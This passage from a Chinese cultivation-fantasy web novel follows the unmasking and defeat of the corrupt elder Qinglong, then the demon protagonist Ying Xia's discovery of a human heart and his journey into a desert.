这突如其来的情况,令众人震惊不已,甚至连青龙自己都没有料到此情此景,但他的反应很快,立刻抬手挡下了由背后袭来的匕首。 “叮!”清脆的兵器碰撞声在屋内响起,惹得其他人一齐看过去。 有人不免惊呼:“啊!是魔修!” 屋内众人都认得出那突然袭击的人身上,缠绕着的是无比熟悉的魔气。 应夏抿了抿唇,蹙眉盯着青龙的一举一动,而裴道远不禁伸手用力攥住了身旁的穆槐序,低声传音道:“是宁妄?” 穆槐序点点头。 裴道远又转头看向应夏,却没有开口询问,只是又攥紧手中的扇柄,严阵以待。 青龙像是认出了宁妄,眼底略带惊讶道:“……竟然是你?” 宁妄冷笑道:“没想到你竟然还记得我,青龙,今日我便要将你碎尸万段!” 谭阳羽见过宁妄,显然也认出他来,但此时并没有说话,只是打量了一圈宁妄,在察觉到他身上魔气时皱起了眉。 任平沧则是第一次见到宁妄,见他满身混杂着魔气与妖气,很是惊讶。 “比起你还活着,我更惊讶的是,你居然入魔了。”青龙伸手去抓宁妄,却一条粗黑的蛇尾打开,手上立刻留下一道青黑的痕迹,隐隐有血丝渗出来。 宁妄知道时间不多,再纠缠下去恐怕于他不利,立刻让宁玄将吞下肚的仲公吐了出来,然后将应夏告诉他的话说与众人听。 “大家别被他骗了!仲公身上并不是什么魔气,而仲公之所以会使用血咒续命也是因为被这个人设下圈套,被欺骗了!他分明是想……” 话还没说完,宁妄感觉到一道强烈的杀意冲他门面而来,宁玄的黑影已经挡在了他的面前,而就在他瞳孔微缩准备接下这一击时,有人出手了。 “青龙长老,这个时候你不该如此心急。”出手的人是丹顶阁阁主任平沧,在此间也是唯一能拦下青龙攻势的人。 宁妄擦去冷汗,果然应夏说得没错,得首先将仲公立为无辜之人,这样丹顶阁阁主才会想要出手保下他。 “阁主,他可是魔修,您什么时候开始相信一个魔修说的话来了?”青龙收回手,似乎并未因宁妄的话而感到慌张。 任平沧没有接他的茬,只是道:“先听他说完再杀也不迟。” 此时,谭阳羽也表态道:“阁主说的是,清者自清,只要青龙长老是清白的,便不会惧怕一个魔修的污蔑吧?” 应夏挑眉,没想到城主竟是会在这个时候拱火,有点意思。 宁妄趁机快速简洁地将自己的遭遇与青龙的恶行公之于众,但青龙听了却反问道:“是么?按你所言,欺辱你的人是朱兴朝,杀害你和你的妖兽之人是朱兴朝家族的人,这与我又有何关联?你有何证据是我指使他?” 是了,宁妄被挖妖丹一事表面上确实是朱兴朝所为。 不过…… “证据?你满身的恶果与业障便是最好的证据!” 屋内突然出现了一个不属于在场任何人的声音,而青龙在听见这个声音的时候,一直未有动容的脸色终是变了,晦暗与阴霾攀上他的眼。 丹顶阁与御兽门交往颇多,任平沧是认识这个声音的。 “这是……朱雀?” 一声凄厉鸟啼响彻屋内,伴随着轰隆的雷声,有着十分震撼人心的效果。 就在一道刺眼的霹雳闪过,一身火红的幽影附身在宁妄身上,魔气瞬间暴涨,屋内的所有桌椅摆设都发出哀鸣声。 等宁妄再次开口时,已经是换了一个声音。 “那么我呢?青龙,你可敢看着我的眼睛说,你从未做这一切?” 任平沧太惊讶了,“朱雀?你怎么会变成这样?”很明显,他能看出来朱雀已经死了,现在附身在这个少年身上的不过是一抹残魂。 第85章 第 85 章 “想让仲公做替死鬼罢了…… 闻言, 朱雀冷笑道:“我怎么会变成这样?那你可得好好问问青龙长老了。” 在场的所有人都听得出朱雀意有所指,他变成这样全是拜青龙所赐。 “真的是朱雀长老?可是……可是朱雀长老一月前不还活着么?怎么会……?”躲在天品法器中的一位散修疑惑低喃道。 “你是魔修!你不可能是朱雀长老!”突然,原本瘫坐在椅子上的常希大喊出声, 不知哪里生出来的勇气,明明额头满是汗水,双腿也打着颤, 却是伸出手来直指着朱雀暂时附身的宁妄,叫道, “朱雀长老如今活得好好的,人还在御兽门中,怎么会变成你这副魔修模样!不可能!一定是你这个魔修不择手段,竟是想出这种法子来污蔑我们御兽门, 太可恨了!” 朱雀并没有被他的话影响,甚至看也没有看他一眼,血色的眼瞳一直盯着自他附身后便沉默不语的青龙,然后有些阴沉沉地笑了。 “青龙, 你怎么不说话了?你若是没做过, 怎么不反驳?怎么不像他一样将黑的说成白的?” 被点名的青龙依旧沉着脸, 一动不动,因着他半垂着头,没有人看清他此刻的神情。 “他是朱雀,绝对不会错的。”这时候, 任平沧出言证实了朱雀的身份, 他看了眼青龙, 又将目光放在朱雀身上,说,“虽然只是一抹残魂, 但我绝不会认错。” 谭阳羽也开口道:“朱雀长老的身份毋庸置疑。” 两位大佬都这么肯定了,尤其是丹顶阁阁主任平沧,他可是渡劫期境界,既然连他都说这人是朱雀长老,那便错不了了。 可是…… 几个修为低微被法器保护着的修士们,看了眼魔气冲天的朱雀,实在是不敢相信,若是真的,那……青龙长老岂不是…… 然而就在众人将要相信之时,常希突然又激动起来,喊道:“你说谎!任平沧,你身为丹顶阁阁主,此次事件分明是仲公一手策划,他与魔修有勾结,看来你也逃不了干系!你说这个魔修是朱雀,是想让我们御兽门来背黑锅转移视线吧?!” 常希说的话也有一部分道理,刚才异变发生得太快了,他们都差点忘记,一开始是任平沧和谭阳羽要破解那魔修身上的血咒,谁知仲公突然发作要攻击二人…… “你们别假惺惺的转移话题,刚才分明看见要解咒时,仲公突然冲过来,这不很明显,他就是暗面拍卖会策划之人,他就是给这魔修下血咒续命之人?!” 常希嘶吼般说完这些话,而他口中的仲公,则浑身不明粘稠物体的躺在地上,紧闭着眼睛似乎昏迷了过去。 “咳咳。”两声咳嗽声从一直未言语的青龙口中传出,他没有去看浑身魔气的朱雀,而是抬头看向丹顶阁阁主任平沧与城主谭阳羽,道,“常希说的没有错,而且解咒之后仲公身上产生了许多不知名的东西,似乎是魔气还是什么……两位有看到么?” 任平沧似乎在思考着什么,没有立即回答。 谭阳羽则是意味深长地看了眼青龙,而后看向昏倒在一边生死不明的仲公,道:“我看得并不分明,像是魔气,不过还没仔细看,那条黑蛇便将仲公吞了下去” “原来如此……”青龙似乎在喃喃着什么,但听不清楚,随后他抬眸看向二人,说,“不如再仔细检查一下仲公吧?” “青龙,我知道你想做什么!”被附身的宁妄突然出声,他的声音与朱雀不同,虽出自同一具身体,但大家也都分辨得出,“你就是想转移自己的业障给仲公,然后杀死他,就能顺理成章的瞒天过海!” 谭阳羽眯起眼睛,似乎在思考宁妄的话,问道:“你有何证据?” 宁妄还未回答,常希便大喊大叫道:“看吧看吧!魔修急了!如今已是证实仲公是暗面拍卖会的幕后黑手,他遭受到了反噬,所以身上才有业障!你这个魔修,竟是凭空污蔑青龙长老,居然说着业障是青龙长老转移给仲公,呵,真是可笑至极!要我说,魔修就不可信!” “我说过,闭嘴。” 砰的一声,常希身下的座椅碎裂,他摔坐在一堆木屑中,脸色惨白,忍不住呕出一口血来,看起来受了很重的内伤。 应夏挑了挑眉,这一次,青龙不知什么原因,没有出手保护他,大概是忌惮朱雀在场。 刚刚常希多次出声阻挠,应该也是青龙暗中操纵,啧。 “阁主,您这么做,难道也是觉得仲公身上的业障是我所为?”青龙看着发火的任平沧,问道。 任平沧大概是明白了他的企图,冷笑着说:“怎么会呢?我丹顶阁从不恃强凌弱颠倒是非,黑就是黑,白就是白。我只不过是嫌他太吵了,让他闭嘴。” “好了好了。”谭阳羽从中周旋,“如今还是赶紧弄清楚真相要紧。” 任平沧冷着一张脸,走向那个被异变弹飞的魔修,他已是满身是血,因为解了血咒,他身上的肌肤处处爆裂,但因着满室的魔气还存有一口气。 “任阁主,您这是要做什么?” 任平沧没有回答青龙的询问,只是一把抓起那个魔修,喂下几颗续命丹药,问他:“说,究竟是谁在你身上下的续命血咒?” 青龙见状不禁露出一丝笑容,叹息道:“也是人之常情,有谁会这么容易便接受自己身边的人……” “闭嘴。”任平沧低沉道。 青龙便住了嘴。 那魔修即便是被喂下丹药,也只剩下最后一口气了,他张了张嘴,“是、是……” 未说出一个名字便彻底化成了灰烬。 任平沧冷着脸站起来,他深深地看了眼青龙,而后迈步走向被粘稠液体包裹着的仲公。 “任阁主这是打算亲手清理门户了么?” 宁妄焦急地挡在黑蛇和仲公面前,道:“任阁主,仲公可能确实做了错事,但是这些事情都是因为青龙,他设下的圈套,你可不能中计了!” 比起焦急的宁妄,朱雀显然更了解任平沧,他安抚住宁妄,开口道:“任阁主,您不妨在清理门户之前,探一探仲公体内的虚实。他身上可是有着极为令人震惊的东西。” 谭阳羽蹙眉,“什么意思?” 朱雀说:“仲公身上不只有业障,而那些东西包括业障,都只是青龙施法转移给仲公,让他做替死鬼罢了。” “轰隆——”一声响雷炸开在耳边,似乎是在回应着什么。 青龙呵了一声,道:“朱雀,你知道你在说什么吗?且不提旁的,你又如何肯定这业障是我给他的?我从未听说过修仙界还有转移业障一说。” “是啊,我也从未听说过,但这并不代表没有。”朱雀控制着宁妄的身体,往黑蛇身边走了几步,他抬手引出几道魔气,翻滚着的黑气冲向昏迷着的仲公。 而就在黑气触碰到仲公之时,又一道响雷劈落下来,屋内的光亮闪了闪,大家都同一时间看见,有一股与黑气完全不同的东西出现了,它也是黑色的,但掺着红,黑红色的东西从仲公身上渗了出来,粘稠的附在肌肤上。 “这是什么东西?” “……好恶心,看上去也不是魔气。” “难道是业障?” 裴道远见多识广,低声与其他人解释道:“不是业障,但也与业障差不多了。我听说过,只有做下大恶之事的人,身上会分泌出这种黑红腥臭的液体,很容易洗掉,但再生的也极快。若是身上出现了这种东西,就说明,是天道在预告,预告死亡。” “这是内脏腐烂的结果。”任平沧也走到仲公身边,并未嫌弃地伸手触碰了一下那个黑红的液体,很快那片触及的肌肤迅速溃烂。他立刻用灵力削去那片皮肉,又服下丹药快速再生。 谭阳羽拧着眉头,表情凝重。 青龙有些好笑地说:“他身上有业障不奇怪,毕竟他就是暗面拍卖会的策划人,他做出如此恶事,又借魔修续命,会造成如此后果也可预料。” 任平沧没有去听青龙说什么,转向朱雀问道:“朱雀,你为何说业障是青龙转移给仲公的?” 朱雀说:“阁主,劳烦您去解开仲公体内的禁咒,便知道了。” 话音刚落,宁妄又道:“不行!不能解咒!” “怎么又有禁咒?”谭阳羽疑惑。 “仲公满身业障却未被天道夺取性命,一是因为他并非恶业的主人,二便是因为这个禁咒。”朱雀解释道,“禁咒将他人的恶业禁锢在仲公身上,只要解开这个禁咒,恶业便会去寻回自己的主人。” 青龙低垂着头,沉默不语,像是被朱雀说中了一般。 但只有应夏看着青龙的反应皱起了眉,不对劲。 大难临头,青龙不该是这个反应,难道他早就已经料到会有如今的局面?那么,仲公身上的禁咒,只不过是个诱饵?! 应夏不敢断言,他也为探查过仲公的身体,不知禁咒究竟是什么。 这个计划本就万无一失。 青龙看着任平沧又朝仲公走去,不动声色地瞥了眼满身魔气的朱雀,虽然朱雀的出现确实不在他的意料之中,但……似乎并没有对结果造成什么影响。 不过,朱雀既然说得如此肯定,难道他还有其他后手?青龙暗自提起心来,打算借解咒一刻,将这个碍眼的朱雀与宁妄一起除掉。 思绪百转千回不过眨眼间,青龙便已想好对策,此时他只需静待任平沧去解咒便可。 应夏拧着眉,青龙的反应太平淡了,他是太过自信还是……? 不,青龙并非狂妄自大之徒,而且在场除了他之外,还有丹顶阁阁主在,他一个人无法…… 应夏突然明白了,要解开仲公体内的禁咒一定不简单,即便是渡劫期也会受很重的伤吧? 反噬或者转而沾染上业火,若是任平沧在解咒过程中受伤,那岂不是没有人能阻止他了?! 不行,不能让任平沧去解咒! “等等!” 应夏刚出声,有一道身影比他更快阻挡了任平沧的动作。 第86章 第 86 章 这一天会被铭记在修仙界…… “小师叔!” 裴道远眼睛一亮, 就连一直紧绷着神色的穆槐序也稍稍松了劲。 应夏看着那抹身影挡在了任平沧的面前,心下不自觉想道:终于来了。 似乎有什么情绪涌上来,只一瞬便隐匿, 应夏微微垂眸,却惊讶的发现自己的嘴角扬起了弧度,他克制地抿了下唇。 任平沧显然也很意外:“温却沧, 是你?” 风尘仆仆执剑而来的人正是温却沧,那双常含潋滟水纹的桃花眼中, 如今满是凌冽的霜寒。 他朝任平沧颔首,然后回首看向应夏几人,道:“抱歉,我来晚了。” 谭阳羽面上露出明显的笑容, 他走到温却沧身边,拍了拍他的肩膀,道:“你这可错过太多了,说起来, 你想要去办的事情可办好了?” “等等, 你为何拦我?”任平沧倒是没有在意这些, 更在意的是被他挡在身后的仲公。 温却沧退开几步,瞥了眼躺在地上被污黑的业障吞没的仲公,并没有多做解释,而是拔剑出鞘, 以迅雷不及掩耳之势劈向仲公! 在场的人谁也没有想到他会突然这么做, 所以即便离得近的任平沧也没来得及阻止, 而谭阳羽则是根本没有动作。 应夏在那一瞬间感应到了他最恐惧的天雷之力。 就在温却沧的剑触碰到仲公身上的业障之时,一道响雷在耳边炸开,而后刺眼的光芒突然从仲公身上射出, 混沌的黑红与精纯的剑气碰撞,爆发出剧烈的气波! 就连渡劫期的任平沧也没抵挡得住,往后撤开,而谭阳羽像是早就预知似的,快速退开。 那一瞬间,所有人的注意力都集中在温却沧的那突如其来的一剑,就连青龙也不例外。 但在此刻,小石头突然与应夏心灵感知—— “阵法开了,雷劫要来了!你快跑!” 应夏猛地抬头,才陡然穿透头顶的阁楼顶,看到他们所在之处已经聚集起一团极为强大的雷云,因着温却沧那一剑,里头的天雷似是蓄势待发。 他要赶紧离开!不然那天雷怕是要将他也一起劈碎! 就算他的身份会暴露,也不能在此时此刻,不能搅乱现在的局势! 应夏顾不得太多,立刻撕开空间将自己与其他被法器保护的人都送入小空间。那个天品法器很有可能抵挡不住这个灭业障的天雷。 不过很快,等天雷过去后,又将所有人都送回原处。 此间操作不过须臾,温却沧那一剑已有效果。 仲公身上的禁咒自是敌不过那道天雷,身上的业障被清理得干干净净,但整个人也被天雷劈伤了,暴露在外的肌肤都呈现出焦黑的状态,不知生死。 任平沧瞪大着眼睛,似乎对温却沧那一剑、还有那道天雷极为震惊:“你……你竟然……” 还没等他惊讶完,温却沧伸手在虚空一握,一条红色的细丝从仲公身上窜出来,笔直地朝着青龙冲过去。 青龙微怔,反应过来后立刻蹙眉甩袖,转瞬间人便不在原地了。 而那条红细丝像是活物一般,紧追在其后。 “那是……?”有人不可置信地喃喃道。 温却沧解释道:“那便是证明业障是青龙转移给仲公的证据。” 任平沧立刻明白过来,“还不快追?可不能让他跑了!” 一直不声不响的谭阳羽突然抚掌而笑,道:“不必追,我等这一刻很久了,青龙绝逃不出此间天地。” “什么意思?” 谭阳羽拍了两下手,只听见一声轻轻的“嗡”声,他们所在的阁楼竟应声而碎,显露出外面的景象来。 众人这才发现,整个城主府都被密密麻麻的符咒所笼罩,铺天盖日地将此处包裹起来。 “却沧来晚的原因便是帮我去办一件事,如你们所见,这间阵法与符咒皆是为擒住这丧尽天良、违背天道之人。” 谭阳羽抬头看着被阵法符咒挡住无法离开的青龙,道:“解释的事情先放放,先处理了这个真正的幕后黑手比较好。” 他看向任平沧,任平沧自然明白,“温却沧为布置这法阵,还有刚刚那一剑恐怕耗费许多,这个时候看来也只能由我来出手了。” 谭阳羽无言拱手,言外之意十分清楚。 青龙显然也明白了眼下情形,他是逃不了了,只有杀了在场的所有人才可能有一线生机,如此…… 他立在高空中,转过身来看向站在空地上的任平沧与谭阳羽,露出了一个危险的笑容。 “你们以为,我没有想过如今的境况么?” “这句话再送还给你!”谭阳羽抬手,被天品法器保护的众人突然被转移出了城主府。 裴道远瞪着眼睛看着远处被一圈符咒与阵纹包裹的城主府,道:“……真可惜,还以为能看到。” 话音刚落,剧烈的碰撞与爆炸声从那城主府中传来,就连外面的符咒阵法都震颤着,想必里面一定很激烈。 穆槐序说:“你不要命了?渡劫期出手,若是没有阵法保护,恐怕这中心城都不够损耗的。” 其他门派的弟子一边看着城主府,一边议论纷纷。 “真没想到青龙长老真的是……” “匪夷所思,他为什么要这么做?” “倒是真没料到,最后竟是中心城城主设了局,他难道早就知道青龙长老……?” 应夏却皱着眉看向周围,低声道:“宁妄没有一起出来。” 裴道远猛地回过神:“什么?!那他……城主怎么会忘记将他也……” 说到这里,裴道远自己明白过来,“是因为朱雀长老。” 应夏却想到了宁妄之前与朱雀的见面,那时他便能感觉到宁妄是以必死的心态去复仇的,现在有渡劫期出手,宁妄还会继续之前的打算吗? 他闭了闭眼,恐怕宁妄和朱雀他们都不会将亲手复仇的机会让给别人,即使是渡劫期。 又是一阵剧烈的动荡,尘土飞扬,雷云依旧聚积在城主府顶上并未散去,阵阵闷雷响彻整个中心城。 没有等太久,被符咒覆盖的阵法突然渗出好几道白色光芒,像是要整个炸开一样。 “轰——!” 头顶的雷云也没有闲着,在阵法被炸开之时,落下一道粗紫的雷电。 “轰!!” 还没来得及看清眼前之景,便被一道气劲扫出十几米远。 待到硝烟散去、尘埃落定,他们便发现,整座华丽的城主府已被夷为平地,而那大片的空地上留下了一道极深的裂痕。 隔着这么远,应夏都能感知到那道裂痕中蕴藏着天雷之力,还夹杂着许多复杂的力量,导致金丹期以下的修士都难以靠近。 裴道远看着那道深深的裂痕,叹道:“不知该说是渡劫期可怕还是天雷可怕。” 应夏沉默了一会儿,说:“走吧,去看看结果。”- 这一天会被铭记在修仙界历史中,丹顶阁阁主任平沧与中心城城主谭阳羽联手,杀了惹来天怒的御兽门青龙长老。 中心城城主府因那一战消失,却留下了一道极为霸道的力量场,非金丹期以上修士无法靠近,越往裂缝中心靠近,那股力量越强,没有人能真正探查到裂缝深处。 后来这一处绝景成了修士们历练的地方,看看谁能成为最靠近裂缝中心的人。 关于御兽门青龙长老一死,修仙界各大仙门都派人了解过情况,知晓后皆缄口不言。 他们都明白此事不能详细向众人诉说,毕竟涉及转移业障这种禁忌之事,所以便只公布了青龙和仲公做下的那些恶行。 而中心城一战,是二人反水互咬造成的局面,使得在场的丹顶阁阁主与中心城城主不得不出手,这才没有扩大坏影响。 “你还要回御兽门?”应夏看向死里逃生的宁妄,问道。 经过那一战后,宁妄的肌肤破裂,斑驳的血痕印在其上,那是妖丹爆炸后留下的痕迹,是朱雀帮他挡下了大部分伤害,所以宁妄侥幸留下一命。 宁妄点点头:“朱雀长老的遗愿便是想要从那畜生手中夺回御兽门,御兽门不该是他掌控下的这个样子。不过如今御兽门的情况很复杂,再加上……算了,不与你说这些麻烦事了,反正我已经想好了。” 应夏也没有多说,只道:“那你好好保重,有缘再见。” 裴道远:“有机会我们便去御兽门找你玩。” “珍重。”穆槐序道。 宁妄躬身行礼后,便转身离开。 应夏看着宁妄远去的背影,心也慢慢沉了下来。 ——他或许,也到了该离开的时候了。 当晚,应夏回到中心城内城主安排的客栈房间时,竟是没有第一时间推门而入。 因为城主府被夷为平地,所以谭阳羽便包下一座客栈安置城主府内的所有宾客与仆从,房间紧张,只能二人同住一间。 应夏便自然的被安排和温却沧住一起。 他站在门前,停了许久。 他知道,屋内温却沧正坐着等他。 一扇木门并不能遮挡修士的神识,所以他们二人都知道门后的人。 应夏不知为何有一种强烈的预感,他推开门进去后,未来的道路很可能会发生什么改变。 他抬手抚上了自己的胸口,那里有着一颗为了伪装成人类的假心脏,但现在,好像有什么东西被种在了里面,就要破土而出似的。 应夏咬着唇瓣上并不明显的小痣,思考了很久之后,他没有推开门,而是转身离开了。 再等等,等他好好想一想。 第87章 第 87 章 魔是不可能有心的! 在应夏离开客栈的一个时辰之前, 温却沧正与城主谭阳羽闲话几句。 “青龙一事已尘埃落定,那么另一事,你是如何打算的?”问这话时的谭阳羽脸上并没有带着常见的温和笑容, 而是紧蹙眉头,神色凝重地看着身边淡定喝茶的人。 温却沧浅浅地吹了口茶叶,并没有喝, 而是一直维持着这个姿势,让灵茶产生的淡淡灵雾遮住了他的眉眼, 亦掩去了部分情绪。 显然,谭阳羽也看得出温却沧虽面上不显,但心绪肯定十分动摇。 “你的徒弟,那个叫应夏的孩子……”谭阳羽顿了顿, 而后低声道,“他身上的功德金光恐怕不简单吧?” 温却沧将手中的茶盏搁在案几上,发出了一声脆响,他抬眼对上谭阳羽探究的目光, 点了点头, 说:“我知道。” 谭阳羽看着他十分坚定的眼神微怔了会儿, 张了张口又咽了回去,摇头长叹,“你既然不乐意我继续问我便不问了,不过……你得和我保证。” 温却沧没有说话, 静静地看着他。 “保证要好好看着他。” 还没等温却沧回答, 谭阳羽又自顾自道:“唉, 你是他的师父,这是自然的,是我多嘴了。” 温却沧耐心地问:“你究竟想说什么?” 谭阳羽将自己的好友上下打量了一轮, 然后解释道:“青龙一事过后,为了中心城的未来,我起了一卦。” “结果是有吉有凶,前途未卜。这倒也在我的意料之中。”谭阳羽顿了顿,继续说,“算完后一时兴起,我对你那个能够随意驱使功德金光的弟子比较感兴趣,所以便为他卜了一卦。” 说到这,谭阳羽加深了眉间的沟壑,他看向温却沧,道:“你这徒弟似乎与魔有解不开的缘分。” 温却沧神色一顿,“怎么说?” “我不知道,卦象只显示这么多。”谭阳羽叹了口气,“他身上到底是有功德金光,应该不至于入魔,但万一真的哪一天入魔了,那……可就太危险了。” “原来你是担心这个。”温却沧又拿起茶盏浅抿一口,“多虑了。” 谭阳羽捏了捏眉心,处理青龙长老一事后他脸上总带着一丝难掩的疲态,道:“是我多虑了便好。” “还有,我给你也卜了一卦。”谭阳羽看向他。 温却沧倒有些好奇了:“你之前不是说卜不到我的命数么?” “是啊,按理来说应该如此。但是不知是不是因为我先卜过你徒弟,你的卦象我竟是看懂了些许。” 谭阳羽皱着眉,看向温却沧的眼神有些奇怪,“我看到了一些你的姻缘。” 温却沧十分意外:“姻缘?” “对,你和你徒弟应夏的……姻缘。”谭阳羽说这话的时候都有些艰涩,“而且,你未来的姻缘路……咳,十分坎坷。” 屋内静了片刻。 谭阳羽惊讶道:“我以为你会反驳我,你们师徒二人绝不会生出什么,是我卜错了或者这只是应夏单方面将对师父的仰慕搞错方向了……” “难道,是你?”这结果可把谭阳羽惊到了。 温却沧的沉默让谭阳羽也沉默了。 过了一会儿,谭阳羽开口道:“看来我得把刚才那话收回,不能让应夏落到你手里。” 温却沧抬眸:“这是我们两个人的事。” 闻言,谭阳羽一脸不忍:“你这家伙……行,我不掺和,不过你可不能乱来什么,应夏那孩子看着性子挺犟,你可别……” 温却沧打断道:“时辰差不多了,应夏他们去送行也该回来了。” 明显的送客语气。 “罢了。”谭阳羽站起身,“此事我便不再多嘴,不过应夏与魔一事,你还是多多留心。” “我会的。”温却沧也起身送客。 谭阳羽离开后,温却沧在屋内静坐许久,想了很多。 直到屋外熟悉的气息传来将他的神思拉了回来——是应夏回来了,不过他并未进屋,而是在门外停驻。 温却沧突然觉得,这可能是一个机会,他默默地下了一个决定,他想告诉应夏谭阳羽刚才与他说的一切,包括那段被占卜出来的姻缘。 但是结果出乎温却沧意料,应夏竟是没有推门进来! 温却沧怔怔地望着木门,静了一会儿后又轻笑出声,果然,谭阳羽的占卜一直都很准—— 应夏离开客栈后也不知道去哪,便漫无目的地乱飞,最后还是不自觉地跑回了诞生他的崖底去——那儿最能给他安全感。 被浓黑的魔气包裹着,应夏觉得自己的胸口,那颗假心脏所在的位置很疼。 他便划开自己的胸口,将那颗假心脏拿了出来,可是疼痛却并没有随之消散。 应夏低头看了看自己的胸膛,狰狞的伤口下是空荡荡的黑暗,他喃喃道:“明明……什么也没有,为什么一想到他,会这么难受。” “不对。”肯定有什么东西在里面! 应夏又将手伸进那个伤口,在漫无边际的黑暗中,他什么也抓不到。 “一定有什么东西!”应夏咬牙那只手上泛出几缕金色丝线,有了功德金光的加持,不一会儿竟是真在里面找到了一样东西。 他紧握着那东西一把拽出来,当看到那东西全貌的时候,应夏愣住了。 ——那是一颗很小很小的人心,和应夏另一只手上的假人心长得差不多,只不过比它小了好几倍。 那颗小小的人心周围缠绕着黑线和金线,拽出来的时候那丝线便连带着一起被扯了出来,并没有断,好像再放回去便能继续生长似的。 “这是……魔心?”应夏能感觉到这颗小心脏是自己的一部分,但是魔是不可能会有心的。 应夏扔掉了那颗假人心,双手捧着那颗被双色丝线环绕着的小心脏,很不理解,“看模样这就是一颗人心,为什么……为什么我会长出人心来……?” 不可能啊!魔是不可能有心的! 胸口的疼痛在它被拽出后停止了,应夏便知道这就是源头,只要将这颗不属于魔的人心毁掉,他还是一个正常的魔,也不会再生出那么难忍的疼意。 手上的那颗心看起来像是初初生出来一般,很小也很脆弱,仿佛一捏就会碎掉。 可是不知为何,应夏看着那颗小小的人心,有些不愿意那样去做。 崖底的黑雾魔气在看见那颗小心脏的时候,便汹涌起来,在应夏的周边狂吼崩腾,像是催促着应夏赶紧将这颗不属于魔的人心毁掉。 他们是纯粹的魔气,应夏又是诞生于此,即便是天道插一脚引入了功德金光,那总归也是同源。 但人心不一样,那是天底下最不纯粹也最不可能纯粹的东西! “毁掉它!” “人心是最肮脏的!” “让我吃掉它!” 应夏听到周身魔气的想法,却一直没有动作。 有一缕魔气坐不住了,它猛地窜出直冲那颗人心而去,张开血盆大口想要将其吞噬殆尽。 可它还没碰到,那颗弱小的人心便被应夏塞回了胸膛里,狰狞的伤口正在金光的作用下快速愈合。 “你在做什么!”魔气惊吼。 “我在做什么?”应夏似乎自己都没反应过来,一手摸着胸口,感受着那里微弱的跳动和疼痛,有些愣神。 “我竟然不愿意毁掉这颗不应该存在于魔身上的心,难道我……”应夏闭上眼睛,不敢去想。 崖底的魔气在怒吼,像是对一个不听话的小孩说教。 应夏不想听,便离开了崖底。 离开后又不知道去哪里,悬在空中望着这茫茫山河,十分无措。 最后,应夏落在了一片有着满满芦苇的河边,坐在一块石头上,看着被风吹起微波的水面,不知在想什么,又或者什么都没有想。 在太阳快落山之时,一位老人家划着船出现在应夏的目光中。 “年轻人,我见你在这河边呆坐了快一天了,在想什么呢?”老人家似乎十分自来熟,一边将船拴好,一边和应夏说话。 应夏仿佛还沉浸在自己的世界中,并没有回答。 老人家似乎也看得多了,又说:“嗐,我都不知道多少回见到有人坐在这唉声叹气了,都是些年纪轻轻的少年少女,为的也都是那什劳子情情爱爱。” “我看你也差不多。要我说,这世间情爱是最奢侈的东西,却也是最不必要的东西,没了情爱人就不能活了吗?”老人家念念叨叨的,“要我说啊,也就是年轻人见识少,若是走遍了这大江南北,看尽了这天底下的风风雨雨,还能为那一小撮情爱要死要活的么?” “人啊,最重要的还是自己,你这么年轻又长得好看,可别为了他人……” 应夏突然开口:“谢谢,我并不是想要轻生,只是坐在这儿想些事情。” “哦、是这样啊……”老人家有些讪讪。 “不过,确实与情爱相关。”应夏一手支着下巴,道,“我只是想不明白。” “这天底下想不明白的事情多了。”老人家又接起话头,侃侃而谈,“要我说,趁你也年轻,多走走多看看,见识广了或许能想明白。” “那您呢?听您说话好像见识了许多,老人家您明白情爱是怎么回事了么?”应夏反问道。 老人家像是给问住了,好一会儿才回答:“唉,我见识不多,这辈子也没走出过这片城。只是见过许多孩子为了那摸不着的东西要生要死,其实这世间除了那情爱,还有许多美好的东西。” “能说说么?” “这我可说不出,得你自己亲眼去看亲身去体验。” 应夏想了想还是问出了口:“我该去哪里呢?” “你要是没想好去哪儿看看,我倒是有一个地方可以推荐给你。” 第88章 第 88 章 应夏认真地胡说八道。…… 烈日当头, 黄沙漫漫。 应夏徒步走在一望无际的荒漠上,除了依稀几颗仙人掌、还有一些生活在此的动物外,看不见任何活物。 就连灵气也极其稀薄。 他究竟是中了什么邪, 竟是真的听了那位老人家的话,一直往西北边走,想找到他口中那座荒漠中的绿洲——西宁边城。 “诶, 我说你可别小看那么一座边城,里面可是有好多好东西, 周围虽说是黄沙漫漫,可是那城是坐落在一片绿洲旁,景色可谓是绝佳!更何况,我还听说有不少修仙者也往西宁边城去了, 说是为了寻宝来着……”老人家滔滔不绝,“不过我记性太差,也忘了他们说的是什么宝贝,反正挺拗口的就是了。我看你也是个修仙者, 就算不是为了宝贝, 去那儿看看与这里完全不同的景色, 散散心也好啊!” 应夏望着看不到边际的黄沙,越来越觉得他可能是被骗了。 小石头躲在应夏的怀中,给自己用叶子撑起一片小小的乘凉之处,似乎是听到了应夏心中的抱怨, 也附和道:“那老人家是不是骗我们的?这里根本就没有什么绿洲。” 还没等应夏回答, 小石头又自顾自道:“这里灵气不足, 导致我们还用不了一些能代步的法器,若是真是灵力用尽倒在这沙漠中,怕不是……” 应夏摸了摸小石头的叶子, 说:“倒不是用不了,只是……” 听到这话,小石头忍不住打断道:“既然能用就赶紧用呀!我都快被这太阳晒干了!”它伸出有些干枯萎靡的枝叶,一副可怜巴巴的样子看着应夏。 “我让你回空间里是你偏要出来陪我晒太阳的。”应夏好笑地捏了捏它扁扁的叶片。 小石头轻轻地用枝条打了应夏的手一下,仿佛是小孩子撒气一般,“还不是为了防止你一个人憋死,我才出来和你说话解闷的吗?不识好……灵心!” 应夏伸手用金光聚了一些水滴,全部落在了小石头蔫蔫的枝条上,让水汽浸润它的全身后,才道:“好了,我知道小石头是关心我,现在已经足够了,你要不要考虑回去空间里?” 小石头仍是没有回去,反而说:“应夏,我发现你离开你的师父后,似乎会照顾我了。” 应夏屈起手指,弹了小石头一下,道:“我以前不也挺照顾你的么?没想到你也不识好魔心。” 小石头伸出叶片捂着自己被弹的地方,咋咋呼呼地指责应夏:“你、你又欺负我!” 二人便这么吵吵嚷嚷地走了一日,直到太阳落下,夜幕降临。 小石头已经不再开口说话,只是气鼓鼓地使劲用枝条不停地戳着应夏的手臂,发泄着自己的情绪。 修仙者不必入睡休息,应夏已经不眠不休在沙漠中走了三天三夜了。 但是小石头没有这么充足的精力,每到夜里它会抱着一块灵石窝在应夏怀中酣睡。 戳着戳着,应夏便塞了一块灵石给小石头,小石头便放过他,转头抱着上品灵石开始小憩。 沙漠昼夜的气温差距很大,但对于一个修仙者来说,并不算什么。 应夏在黑夜中行走着,除了耳边擦过的冷风与沙砾,皆是一片寂静。 便是在这样的寂静中,应夏一边走一边进行修炼——没错,这是应夏的最近学会的修炼方法,正好四处无人,用功德金光将小石头保护起来后,他便开始调动自身的魔气修炼。 